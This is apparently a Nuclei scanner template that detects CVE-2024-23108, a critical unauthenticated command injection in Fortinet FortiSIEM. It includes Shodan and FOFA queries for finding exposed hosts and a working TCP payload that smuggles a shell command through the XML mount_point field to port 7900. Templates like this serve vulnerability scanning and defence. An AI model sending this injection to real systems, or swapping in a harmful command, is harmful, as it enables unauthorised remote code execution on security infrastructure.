CVE-2024-23108: Fortinet FortiSIEM - OS Command Injection

id: CVE-2024-23108

info:
  name: Fortinet FortiSIEM - OS Command Injection
  author: 0x_Akoko
  severity: critical
  description: |
    FortiSIEM versions 6.4.0 through 7.1.1 contain an OS command injection vulnerability in the Phoenix Monitor service. The vulnerability exists in the XML parsing of TEST_STORAGE elements where the mount_point field is not properly sanitized before being passed to shell commands, allowing unauthenticated remote code execution.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the FortiSIEM system, potentially leading to full system compromise, data exfilteration, lateral movement, and complete bypass of security monitoring capabilities.
  remediation: |
    Update FortiSIEM to versions newer than 7.1.1. Implement network segmentation to restrict access to Phoenix Monitor service (TCP/7900) and monitor for suspicious connections to this port.
  reference:
    - https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive/
    - https://fortiguard.com/psirt/FG-IR-23-130
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23108
    - https://github.com/horizon3ai/CVE-2024-23108
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-23108
    cwe-id: CWE-78
    epss-score: 0.92388
    epss-percentile: 0.99712
    cpe: cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortisiem
    shodan-query:
      - port:"7900"
      - http.favicon.hash:"-1341442175"
      - http.html:"var hst = location.hostname"
    fofa-query:
      - body="var hst = location.hostname"
      - icon_hash="-1341442175"
  tags: cve,cve2024,fortinet,fortisiem,vkev,injection,unauth

variables:
  xml: '<TEST_STORAGE type="nfs"><server_ip>127.0.0.1</server_ip><mount_point>/lala; echo "id";</mount_point></TEST_STORAGE>'
  payload: "\x51\x00\x00\x00\x74\x00\x00\x00\x6f\x42\x1e\x40\x00\x00\x00\x00{{xml}}"

tcp:
  - inputs:
      - data: "{{payload}}"

    host:
      - "tls://{{Hostname}}"
    port: 7900
    read-size: 1024

    matchers:
      - type: word
        part: raw
        words:
          - "15.."
# digest: 4a0a00473045022064221a6ffc4bb7affaa82cba5726b24017c071dcc5371e8dafe27753577e4e36022100b5936a5b9c0727b1352dbb3a31184ef3790b24c00a7c004ee585f9f75413f394:922c64590222798bb761d5b6d8e72950